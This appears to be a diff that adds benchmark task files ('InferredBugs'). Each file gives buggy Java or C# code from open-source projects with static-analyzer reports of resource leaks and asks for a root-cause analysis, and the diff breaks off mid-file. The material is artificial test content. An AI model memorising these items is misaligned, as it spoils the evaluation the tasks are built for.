+            try (BukkitObjectInputStream dataInput = new BukkitObjectInputStream(inputStream)) {
+                Inventory inventory = Bukkit.getServer().createInventory(null, dataInput.readInt(), title);
+
+                for (int i = 0; i < inventory.getSize(); i++) {
+                    inventory.setItem(i, (ItemStack) dataInput.readObject());
+                }
+
+                return inventory;
+            }
+        } catch (ClassNotFoundException | IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Serializers() {
+        throw new UnsupportedOperationException("This class cannot be instantiated");
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.bukkit.util.io.BukkitObjectInputStream` acquired to `dataInput` by call to `new()` at line 105 is not released after line 113.
+**Note**: potential exception at line 106
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+org.bukkit.inventory.ItemStack[] Serializers.deserializeItemstacks(JsonElement)
+
+### Procedure Id:
+me.lucko.helper.serialize.Serializers.deserializeItemstacks(com.google.gson.JsonElement):org.bukkit..2538b314166ae28f328a16a1b6066b63
+
+### File:
+helper/src/main/java/me/lucko/helper/serialize/Serializers.java
+
+### Key:
+Serializers.java|deserializeItemstacks|RESOURCE_LEAK
+
+### Node Key:
+8df5c427b4dc1c9b8027fae958400e1e
+
+### Hash:
+8a083bc8b3978ecee974f9006057c712
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10245/instruction.md b/inferredbugs-10245/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5d5a469960e9a245e9f5cb21f562add6db7f2601
--- /dev/null
+++ b/inferredbugs-10245/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** motan
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2009-2016 Weibo, Inc.
+ *
+ *    Licensed under the Apache License, Version 2.0 (the "License");
+ *    you may not use this file except in compliance with the License.
+ *    You may obtain a copy of the License at
+ *
+ *        http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *    Unless required by applicable law or agreed to in writing, software
+ *    distributed under the License is distributed on an "AS IS" BASIS,
+ *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *    See the License for the specific language governing permissions and
+ *    limitations under the License.
+ */
+
+package com.weibo.motan.benchmark;
+
+import java.lang.reflect.InvocationTargetException;
+import java.util.Properties;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.CyclicBarrier;
+
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.support.ClassPathXmlApplicationContext;
+
+public class MotanBenchmarkClient extends AbstractBenchmarkClient {
+    static Properties properties = new Properties();
+    private static boolean isMultiClient; //并发的Runable线程，是否使用相同的client进行调用。
+                    // true：并发线程只使用一个client（bean实例）调用服务。
+                    // false: 每个并发线程使用不同的Client调用服务
+    private static BenchmarkService benchmarkService;
+
+
+    public static void main(String[] args) {
+        int concurrents = Integer.parseInt(properties.getProperty("concurrents"));
+        int runtime = Integer.parseInt(properties.getProperty("runtime"));
+        String classname = properties.getProperty("classname");
+        String params = properties.getProperty("params");
+        isMultiClient = Boolean.parseBoolean(properties.getProperty("isMultiClient"));
+        if (args.length == 5) {
+            concurrents = Integer.parseInt(args[0]);
+            runtime = Integer.parseInt(args[1]);
+            classname = args[2];
+            params = args[3];
+            isMultiClient = Boolean.parseBoolean(args[4]);
+        }
+
+        ApplicationContext applicationContext = new ClassPathXmlApplicationContext(new String[]{"classpath*:motan-benchmark-client.xml"});
+        benchmarkService = (BenchmarkService) applicationContext.getBean("motanBenchmarkReferer");
+
+        new MotanBenchmarkClient().start(concurrents, runtime, classname, params);
+    }
+
+    @Override
+    public ClientRunnable getClientRunnable(String classname, String params, CyclicBarrier barrier, CountDownLatch latch, long startTime, long endTime) {
+        BenchmarkService service;
+        if (isMultiClient) {
+            ApplicationContext applicationContext = new ClassPathXmlApplicationContext(new String[]{"classpath*:motan-benchmark-client.xml"});
+            service = (BenchmarkService) applicationContext.getBean("motanBenchmarkReferer");
+        } else {
+            service = benchmarkService;
+        }
+
+        Class[] parameterTypes = new Class[]{BenchmarkService.class, String.class, CyclicBarrier.class,
+                CountDownLatch.class, long.class, long.class};
+        Object[] parameters = new Object[]{service, params, barrier, latch, startTime, endTime};
+
+        ClientRunnable clientRunnable = null;
+        try {
+            clientRunnable = (ClientRunnable) Class.forName(classname).getConstructor(parameterTypes).newInstance(parameters);
+        } catch (InstantiationException | NoSuchMethodException | ClassNotFoundException | IllegalAccessException e) {
+            e.printStackTrace();
+        } catch (InvocationTargetException e) {
+            e.getTargetException();
+        }
+
+        return clientRunnable;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.springframework.context.support.ClassPathXmlApplicationContext` acquired by call to `new()` at line 49 is not released after line 50.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MotanBenchmarkClient.main(java.lang.String[])
+
+### Procedure Id:
+com.weibo.motan.benchmark.MotanBenchmarkClient.main(java.lang.String[]):void.1fc46436e7fdcf76f06cd025e8b23956
+
+### File:
+motan-benchmark/motan-benchmark-client/src/main/java/com/weibo/motan/benchmark/MotanBenchmarkClient.java
+
+### Key:
+MotanBenchmarkClient.java|main|RESOURCE_LEAK
+
+### Node Key:
+a0a09701532a90f811384aa246f63b0e
+
+### Hash:
+4da05bb78fd28c85379dbe48d4a633f7
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1026/instruction.md b/inferredbugs-1026/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cf1ba81c201cd795bf7b61c94016e7b07c877a00
--- /dev/null
+++ b/inferredbugs-1026/instruction.md
@@ -0,0 +1,372 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Bing.NetCore
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Drawing;
+using System.Drawing.Drawing2D;
+using System.Drawing.Imaging;
+using System.IO;
+using ZXing;
+using ZXing.QrCode;
+using ZQI = global::ZXing.QrCode.Internal;
+
+namespace Bing.Tools.QrCode.ZXing
+{
+    /// <summary>
+    /// ZXing.Net 二维码服务
+    /// </summary>
+    public class ZXingQrCodeService:IQrCodeService
+    {
+        /// <summary>
+        /// 二维码尺寸
+        /// </summary>
+        private int _size;
+
+        /// <summary>
+        /// 容错级别
+        /// </summary>
+        private ZQI.ErrorCorrectionLevel _level;
+
+        /// <summary>
+        /// Logo路径
+        /// </summary>
+        private string _logoPath;
+
+        /// <summary>
+        /// 边距
+        /// </summary>
+        private int _margin;
+
+        /// <summary>
+        /// 初始化一个<see cref="ZXingQrCodeService"/>类型的实例
+        /// </summary>
+        public ZXingQrCodeService()
+        {
+            _size = 250;
+            _level = ZQI.ErrorCorrectionLevel.L;
+            _margin = 0;
+            _logoPath = string.Empty;
+        }
+
+        /// <summary>
+        /// 设置二维码尺寸
+        /// </summary>
+        /// <param name="size">二维码尺寸</param>
+        /// <returns></returns>
+        public IQrCodeService Size(int size)
+        {
+            _size = size;
+            return this;
+        }
+
+        /// <summary>
+        /// 设置容错处理
+        /// </summary>
+        /// <param name="level">容错级别</param>
+        /// <returns></returns>
+        public IQrCodeService Correction(ErrorCorrectionLevel level)
+        {
+            switch (level)
+            {
+                case ErrorCorrectionLevel.L:
+                    _level = ZQI.ErrorCorrectionLevel.L;
+                    break;
+                case ErrorCorrectionLevel.M:
+                    _level = ZQI.ErrorCorrectionLevel.M;
+                    break;
+                case ErrorCorrectionLevel.Q:
+                    _level = ZQI.ErrorCorrectionLevel.Q;
+                    break;
+                case ErrorCorrectionLevel.H:
+                    _level = ZQI.ErrorCorrectionLevel.H;
+                    break;
+            }
+            return this;
+        }
+
+        /// <summary>
+        /// 设置Logo
+        /// </summary>
+        /// <param name="logoPath">logo文件路径</param>
+        /// <returns></returns>
+        public IQrCodeService Logo(string logoPath)
+        {
+            _logoPath = logoPath;
+            return this;
+        }
+
+        /// <summary>
+        /// 创建二维码
+        /// </summary>
+        /// <param name="content">内容</param>
+        /// <returns></returns>
+        public byte[] CreateQrCode(string content)
+        {
+            return string.IsNullOrWhiteSpace(_logoPath) ? CreateBaseQrCode(content) : CreateLogoQrCode(content);
+        }
+
+        /// <summary>
+        /// 创建普通二维码
+        /// </summary>
+        /// <param name="content">内容</param>
+        /// <returns></returns>
+        private byte[] CreateBaseQrCode(string content)
+        {
+            var qrCodeWriter=new BarcodeWriterPixelData()
+            {
+                Format = BarcodeFormat.QR_CODE,
+                Options = new QrCodeEncodingOptions()
+                {
+                    CharacterSet = "UTF-8",
+                    ErrorCorrection = _level,
+                    Margin = _margin,
+                    Width = _size,
+                    Height = _size,
+                }
+            };
+
+            var pixelData = qrCodeWriter.Write(content);
+            using (var bitmap = new System.Drawing.Bitmap(pixelData.Width, pixelData.Height, System.Drawing.Imaging.PixelFormat.Format32bppRgb))
+            {
+                using (var ms=new MemoryStream())
+                {
+                    var bitmapData = bitmap.LockBits(new System.Drawing.Rectangle(0, 0, pixelData.Width, pixelData.Height),
+                        System.Drawing.Imaging.ImageLockMode.WriteOnly, System.Drawing.Imaging.PixelFormat.Format32bppRgb);
+                    try
+                    {
+                        System.Runtime.InteropServices.Marshal.Copy(pixelData.Pixels, 0, bitmapData.Scan0,
+                            pixelData.Pixels.Length);
+                    }
+                    finally
+                    {
+                        bitmap.UnlockBits(bitmapData);
+                    }
+                    // 此处会导致容错等级 Q H 无效
+                    //bitmap.MakeTransparent();
+                    bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Png);
+                    return ms.ToArray();
+                }
+            }
+        }
+
+        /// <summary>
+        /// 创建带有Logo的二维码
+        /// </summary>
+        /// <param name="content">内容</param>
+        /// <returns></returns>
+        private byte[] CreateLogoQrCode(string content)
+        {
+            var qrCodeWriter = new BarcodeWriterPixelData()
+            {
+                Format = BarcodeFormat.QR_CODE,
+                Options = new QrCodeEncodingOptions()
+                {
+                    CharacterSet = "UTF-8",
+                    ErrorCorrection = _level,
+                    Margin = _margin,
+                    Width = _size,
+                    Height = _size,
+                }
+            };
+
+            var pixelData = qrCodeWriter.Write(content);
+            using (var bitmap = new System.Drawing.Bitmap(pixelData.Width, pixelData.Height, System.Drawing.Imaging.PixelFormat.Format32bppRgb))
+            {
+                var bitmapData = bitmap.LockBits(new System.Drawing.Rectangle(0, 0, pixelData.Width, pixelData.Height),
+                    System.Drawing.Imaging.ImageLockMode.WriteOnly, System.Drawing.Imaging.PixelFormat.Format32bppRgb);
+                try
+                {
+                    System.Runtime.InteropServices.Marshal.Copy(pixelData.Pixels, 0, bitmapData.Scan0,
+                        pixelData.Pixels.Length);
+                }
+                finally
+                {
+                    bitmap.UnlockBits(bitmapData);
+                }
+
+                Bitmap logo=new Bitmap(_logoPath);
+                return MergeQrImg(bitmap, logo);
+            }
+        }
+
+        /// <summary>
+        /// 合并二维码以及Logo
+        /// 参考：http://www.cnblogs.com/zoro-zero/p/6225697.html
+        /// </summary>
+        /// <param name="qrImg"></param>
+        /// <param name="logoImg"></param>
+        /// <param name="n"></param>
+        /// <returns></returns>
+        private static byte[] MergeQrImg(Bitmap qrImg, Bitmap logoImg, double n = 0.23)
+        {
+            int margin = 10;
+            float dpix = qrImg.HorizontalResolution;
+            float dpiy = qrImg.VerticalResolution;
+
+            var newWidth = (10 * qrImg.Width - 46 * margin) * 1.0f / 46;
+            var newLogoImg = ZoomPic(logoImg, newWidth / logoImg.Width);
+            // 处理Logo
+            int newImgWidth = newLogoImg.Width + margin;
+            Bitmap logoBgImg = new Bitmap(newImgWidth, newImgWidth);
+            logoBgImg.MakeTransparent();
+            Graphics g = Graphics.FromImage(logoBgImg);
+            g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
+            g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
+            g.Clear(Color.Transparent);
+            Pen p = new Pen(new SolidBrush(Color.White));
+            Rectangle rect = new Rectangle(0, 0, newImgWidth - 1, newImgWidth - 1);
+            using (GraphicsPath path = CreateRoundedRectanglePath(rect, 7))
+            {
+                g.DrawPath(p, path);
+                g.FillPath(new SolidBrush(Color.White), path);
+            }
+            // 画Logo
+            Bitmap img1 = new Bitmap(newLogoImg.Width, newLogoImg.Height);
+            Graphics g1 = Graphics.FromImage(img1);
+            g1.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
+            g1.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
+            g1.Clear(Color.Transparent);
+            Pen p1 = new Pen(new SolidBrush(Color.Gray));
+            Rectangle rect1 = new Rectangle(0, 0, newLogoImg.Width - 1, newLogoImg.Height - 1);
+            using (GraphicsPath path1 = CreateRoundedRectanglePath(rect1, 7))
+            {
+                g1.DrawPath(p1, path1);
+                TextureBrush brush = new TextureBrush(newLogoImg);
+                g1.FillPath(brush, path1);
+            }
+            g1.Dispose();
+
+            PointF center = new PointF((newImgWidth - newLogoImg.Width) / 2, (newImgWidth - newLogoImg.Height) / 2);
+            g.DrawImage(img1, center.X, center.Y, newLogoImg.Width, newLogoImg.Height);
+            g.Dispose();
+
+            Bitmap backgroundImg = new Bitmap(qrImg.Width, qrImg.Height);
+            backgroundImg.MakeTransparent();
+            backgroundImg.SetResolution(dpix, dpiy);
+            logoBgImg.SetResolution(dpix, dpiy);
+
+            Graphics g2 = Graphics.FromImage(backgroundImg);
+            g2.Clear(Color.Transparent);
+            g2.DrawImage(qrImg, 0, 0);
+            PointF center2 = new PointF((qrImg.Width - logoBgImg.Width) / 2, (qrImg.Height - logoBgImg.Height) / 2);
+            g2.DrawImage(logoBgImg, center2);
+            g2.Dispose();
+
+            using (var ms = new MemoryStream())
+            {
+                backgroundImg.Save(ms, ImageFormat.Png);
+                return ms.ToArray();
+            }
+        }
+
+        /// <summary>
+        /// 创建圆角矩形
+        /// </summary>
+        /// <param name="rect">区域</param>
+        /// <param name="cornerRadius">圆角角度</param>
+        /// <returns></returns>
+        private static GraphicsPath CreateRoundedRectanglePath(Rectangle rect, int cornerRadius)
+        {
+            GraphicsPath roundedRect = new GraphicsPath();
+            roundedRect.AddArc(rect.X, rect.Y, cornerRadius * 2, cornerRadius * 2, 180, 90);
+            roundedRect.AddLine(rect.X + cornerRadius, rect.Y, rect.Right - cornerRadius * 2, rect.Y);
+            roundedRect.AddArc(rect.X + rect.Width - cornerRadius * 2, rect.Y, cornerRadius * 2, cornerRadius * 2, 270,
+                90);
+            roundedRect.AddLine(rect.Right, rect.Y + cornerRadius * 2, rect.Right,
+                rect.Y + rect.Height - cornerRadius * 2);
+            roundedRect.AddArc(rect.X + rect.Width - cornerRadius * 2, rect.Y + rect.Height - cornerRadius * 2,
+                cornerRadius * 2, cornerRadius * 2, 0, 90);
+            roundedRect.AddLine(rect.Right - cornerRadius * 2, rect.Bottom, rect.X + cornerRadius * 2, rect.Bottom);
+            roundedRect.AddArc(rect.X, rect.Bottom - cornerRadius * 2, cornerRadius * 2, cornerRadius * 2, 90, 90);
+            roundedRect.AddLine(rect.X, rect.Bottom - cornerRadius * 2, rect.X, rect.Y + cornerRadius * 2);
+
+            roundedRect.CloseFigure();
+
+            return roundedRect;
+        }
+
+        /// <summary>
+        /// 图片按比例缩放
+        /// </summary>
+        /// <param name="initImage">需要缩放的图片</param>
+        /// <param name="n">缩放比例</param>
+        /// <returns></returns>
+        private static System.Drawing.Image ZoomPic(System.Drawing.Image initImage, double n)
+        {
+            // 缩略图宽、高计算
+            var newWidth = n * initImage.Width;
+            var newHeight = n * initImage.Height;
+            // 生成新图
+            System.Drawing.Image newImage = new System.Drawing.Bitmap((int)newWidth, (int)newHeight);
+            // 新建一个画板
+            System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(newImage);
+            // 设置质量
+            g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
+            g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
+            // 设置背景色
+            g.Clear(System.Drawing.Color.Transparent);
+            // 画图
+            g.DrawImage(initImage, new System.Drawing.Rectangle(0, 0, newImage.Width, newImage.Height),
+                new System.Drawing.Rectangle(0, 0, initImage.Width, initImage.Height),
+                System.Drawing.GraphicsUnit.Pixel);
+            g.Dispose();
+            return newImage;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource p1 of type System.Drawing.Pen, Leaked resource brush of type System.Drawing.TextureBrush, Leaked resource backgroundImg of type System.Drawing.Bitmap, Leaked resource newLogoImg of type System.Drawing.Bitmap, Leaked resource p of type System.Drawing.Pen, Leaked resource img1 of type System.Drawing.Bitmap, Leaked resource logoBgImg of type System.Drawing.Bitmap, Leaked resource (output of System.Drawing.SolidBrush::.ctor() at Line 226) of type System.Drawing.SolidBrush, Leaked resource (output of System.Drawing.SolidBrush::.ctor() at Line 218) of type System.Drawing.SolidBrush, Leaked resource (output of System.Drawing.SolidBrush::.ctor() at Line 213) of type System.Drawing.SolidBrush in method "Byte[] ZXingQrCodeService.MergeQrImg(Bitmap,Bitmap,Double)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Byte[] ZXingQrCodeService.MergeQrImg(Bitmap,Bitmap,Double)
+
+### File:
+src/Bing.Tools.QrCode.ZXing/ZXingQrCodeService.cs
+
+### Key:
+ZXingQrCodeService.cs|MergeQrImg|DOTNET_RESOURCE_LEAK
+
+### Hash:
+634984bcb46846c317e08eca49418c4f
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1027/instruction.md b/inferredbugs-1027/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..15a17ae40e49e2c25bf606aa3c03443d4b45fc43
--- /dev/null
+++ b/inferredbugs-1027/instruction.md
@@ -0,0 +1,94 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** npoi-examples
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NPOI.SS.UserModel;
+using NPOI.XSSF.UserModel;
+using System;
+using System.IO;
+
+namespace CopySheet
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            Console.WriteLine("Hello World! Please Wait while processing...");
+            //Excel worksheet combine example
+            //Note: This example does not check for duplicate sheet names. Your test files should have different sheet names.
+
+            IWorkbook book1 = new XSSFWorkbook(new FileStream("file1.xlsx", FileMode.Open));
+            IWorkbook book2 = new XSSFWorkbook(new FileStream("file2.xlsx", FileMode.Open));
+            IWorkbook product = new XSSFWorkbook();
+
+            for (int i = 0; i < book1.NumberOfSheets; i++)
+            {
+                ISheet sheet1 = book1.GetSheetAt(i);
+                sheet1.CopyTo(product, sheet1.SheetName, true, true);
+            }
+
+            for (int j = 0; j < book2.NumberOfSheets; j++)
+            {
+                ISheet sheet2 = book2.GetSheetAt(j);
+                sheet2.CopyTo(product, sheet2.SheetName, true, true);
+            }
+
+            product.Write(new FileStream("test.xlsx", FileMode.Create, FileAccess.ReadWrite));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.FileStream::.ctor() at Line 32) of type System.IO.FileStream, Leaked resource (output of System.IO.FileStream::.ctor() at Line 17) of type System.IO.FileStream, Leaked resource (output of System.IO.FileStream::.ctor() at Line 16) of type System.IO.FileStream in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+xssf/CopySheet/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+0d1dff639e5ca6d07bd0ed152261b987
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10273/instruction.md b/inferredbugs-10273/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..62909f3bc18e4642dc1be82525a984d6e2b65a9a
--- /dev/null
+++ b/inferredbugs-10273/instruction.md
@@ -0,0 +1,554 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cloudsim-plus
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * CloudSim Plus: A modern, highly-extensible and easier-to-use Framework for
+ * Modeling and Simulation of Cloud Computing Infrastructures and Services.
+ * http://cloudsimplus.org
+ *
+ *     Copyright (C) 2015-2018 Universidade da Beira Interior (UBI, Portugal) and
+ *     the Instituto Federal de Educação Ciência e Tecnologia do Tocantins (IFTO, Brazil).
+ *
+ *     This file is part of CloudSim Plus.
+ *
+ *     CloudSim Plus is free software: you can redistribute it and/or modify
+ *     it under the terms of the GNU General Public License as published by
+ *     the Free Software Foundation, either version 3 of the License, or
+ *     (at your option) any later version.
+ *
+ *     CloudSim Plus is distributed in the hope that it will be useful,
+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *     GNU General Public License for more details.
+ *
+ *     You should have received a copy of the GNU General Public License
+ *     along with CloudSim Plus. If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.cloudsimplus.traces.google;
+
+import org.cloudbus.cloudsim.brokers.DatacenterBroker;
+import org.cloudbus.cloudsim.cloudlets.Cloudlet;
+import org.cloudbus.cloudsim.core.CloudSimTags;
+import org.cloudbus.cloudsim.core.Simulation;
+import org.cloudbus.cloudsim.core.events.CloudSimEvent;
+import org.cloudbus.cloudsim.util.ResourceLoader;
+import org.cloudbus.cloudsim.util.TimeUtil;
+import org.cloudbus.cloudsim.util.TraceReaderAbstract;
+import org.cloudbus.cloudsim.utilizationmodels.UtilizationModel;
+import org.cloudbus.cloudsim.utilizationmodels.UtilizationModelDynamic;
+import org.cloudbus.cloudsim.utilizationmodels.UtilizationModelFull;
+import org.cloudsimplus.listeners.EventInfo;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UncheckedIOException;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * Process "task usage" trace files from
+ * <a href="https://github.com/google/cluster-data/blob/master/ClusterData2011_2.md">Google Cluster Data</a>
+ * to change the resource utilization of {@link Cloudlet}s.
+ * The trace files are the ones inside the task_usage sub-directory of downloaded Google traces.
+ * The instructions to download the traces are provided in the link above.
+ *
+ * <p>A spreadsheet that makes it easier to understand the structure of trace files is provided
+ * in docs/google-cluster-data-samples.xlsx</p>
+ *
+ * <p>The documentation for fields and values were obtained from the Google Cluster trace documentation in the link above.
+ * It's strongly recommended to read such a documentation before trying to use this class.</p>
+ *
+ * <p>Check important details at {@link TraceReaderAbstract}.</p>
+ *
+ * @see #process()
+ *
+ * @author Manoel Campos da Silva Filho
+ * @since CloudSim Plus 4.0.0
+ */
+public final class GoogleTaskUsageTraceReader extends GoogleTraceReaderAbstract<Cloudlet> {
+    private final List<CloudSimEvent> cloudletUsageChangeEvents;
+    private final List<DatacenterBroker> brokers;
+
+    /**
+     * The index of each field in the trace file.
+     */
+    public enum FieldIndex implements TraceField<GoogleTaskUsageTraceReader> {
+        /**
+         * 0: The index of the field containing the start time​ of the measurement period (stored in microsecond
+         * but converted to seconds when read from the file).
+         */
+        START_TIME{
+            /**
+             * Gets the start time converted to seconds.
+             * @param reader the reader for the trace file
+             * @return
+             */
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return TimeUtil.microToSeconds(reader.getFieldDoubleValue(this));
+            }
+        },
+
+        /**
+         * 1: The index of the field containing the end time​ of the measurement period (stored in microsecond
+         * but converted to seconds when read from the file).
+         */
+        END_TIME{
+            /**
+             * Gets the end time converted to seconds.
+             * @param reader the reader for the trace file
+             * @return
+             */
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return TimeUtil.microToSeconds(reader.getFieldDoubleValue(this));
+            }
+        },
+
+        /**
+         * 2: The index of the field containing the id of the job this task belongs to.
+         */
+        JOB_ID{
+            @Override
+            public Long getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldLongValue(this);
+            }
+        },
+
+        /**
+         * 3: The index of the field containing the task index within the job.
+         */
+        TASK_INDEX{
+            @Override
+            public Long getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldLongValue(this);
+            }
+        },
+
+        /**
+         * 4: The index of the field containing the machineID.
+         * If the field is present, indicates the machine onto which the task was scheduled,
+         * otherwise, the reader will return -1 as default value.
+         */
+        MACHINE_ID{
+            @Override
+            public Long getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldLongValue(this, -1);
+            }
+        },
+
+        /**
+         * 5: The index of the field containing the mean CPU usage rate (in percentage from 0 to 1).
+         */
+        MEAN_CPU_USAGE_RATE{
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 6: The index of the field containing the canonical memory usage,
+         * i.e., the number of user accessible pages,
+         * including page cache but excluding some pages marked as stale.
+         */
+        CANONICAL_MEMORY_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 7: The index of the field containing the assigned memory usage,
+         * i.e., memory usage based on the memory actually assigned (but not necessarily used)
+         * to the container where the task was running inside the
+         * Google Cluster.
+         */
+        ASSIGNED_MEMORY_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 8: The index of the field containing the unmapped page cache memory usage,
+         * i.e., Linux page cache (file-backed memory) not mapped into any userspace process.
+         */
+        UNMAPPED_PAGE_CACHE_MEMORY_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 9: The index of the field containing the total page cache memory usage,
+         * i.e., the total Linux page cache (file-backed memory).
+         */
+        TOTAL_PAGE_CACHE_MEMORY_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 10: The index of the field containing the maximum memory usage,
+         * i.e., the maximum value of the canonical memory usage
+         * measurement observed over the measurement interval.
+         * This value is not available for some tasks.
+         */
+        MAXIMUM_MEMORY_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, -1);
+            }
+        },
+
+        /**
+         * 11: The index of the field containing the mean disk I/O time.
+         */
+        MEAN_DISK_IO_TIME {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 12: The index of the field containing the mean local disk space used.
+         * Represents runtime local disk capacity usage.
